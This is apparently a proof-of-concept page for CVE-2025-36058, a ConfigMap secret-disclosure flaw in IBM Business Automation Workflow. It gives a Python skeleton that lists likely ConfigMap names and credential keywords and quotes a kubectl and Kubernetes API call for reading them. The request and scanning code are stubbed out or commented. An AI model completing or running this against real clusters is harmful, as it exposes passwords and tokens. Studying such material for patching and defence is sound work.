CVE-2025-36058: IBM Business Automation Workflow容器ConfigMap敏感信息泄露漏洞

# CVE-2025-36058 PoC - ConfigMap Sensitive Information Disclosure # Target: IBM Business Automation Workflow containers # Environment: Kubernetes/OpenShift cluster with affected IBM BAW versions import requests import json import sys def check_configmap_sensitive_info(namespace="ibm-baw", configmap_name=""): """ Check if ConfigMap contains sensitive configuration information that should not be exposed. """ # Common ConfigMap names in IBM BAW deployments common_configmaps = [ "baw-config", "baw-icp-config", "baw-secrets", "baw-credentials", "icp-baw-config", "workflow-config" ] # Sensitive keywords to look for in ConfigMap data sensitive_keywords = [ "password", "secret", "key", "token", "credential", "api_key", "apikey", "auth", "private", "certificate" ] if not configmap_name: configmap_names = common_configmaps else: configmap_names = [configmap_name] print(f"[*] Scanning namespace: {namespace}") print(f"[*] Target ConfigMaps: {configmap_names}") # Simulate API call to get ConfigMap # In real attack, use: kubectl get configmap <name> -n <namespace> -o json # Or: GET /api/v1/namespaces/{namespace}/configmaps/{name} for cm_name in configmap_names: print(f"\n[?] Checking ConfigMap: {cm_name}") # Example API request structure api_url = f"https://<k8s-api-server>/api/v1/namespaces/{namespace}/configmaps/{cm_name}" headers = { "Authorization": "Bearer <service-account-token>" } # In vulnerable versions, this request may succeed with low privileges # and return sensitive configuration data # Check for sensitive data patterns # configmap_data = response.json().get('data', {}) # for key, value in configmap_data.items(): # if any(kw in key.lower() for kw in sensitive_keywords): # print(f"[!] Sensitive data found: {key}") pass def verify_vulnerability(namespace="ibm-baw"): """ Verify if the system is vulnerable to CVE-2025-36058 """ print("\n[*] Verifying CVE-2025-36058 vulnerability...") print("[*] Affected versions:") print(" - BAW 25.0.0 < IF002") print(" - BAW 24.0.1 < IF005") print(" - BAW 24.0.0 < IF006") print("[*] CVSS Score: 5.5 (Medium)") print("[*] Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N") if __name__ == "__main__": verify_vulnerability() check_configmap_sensitive_info()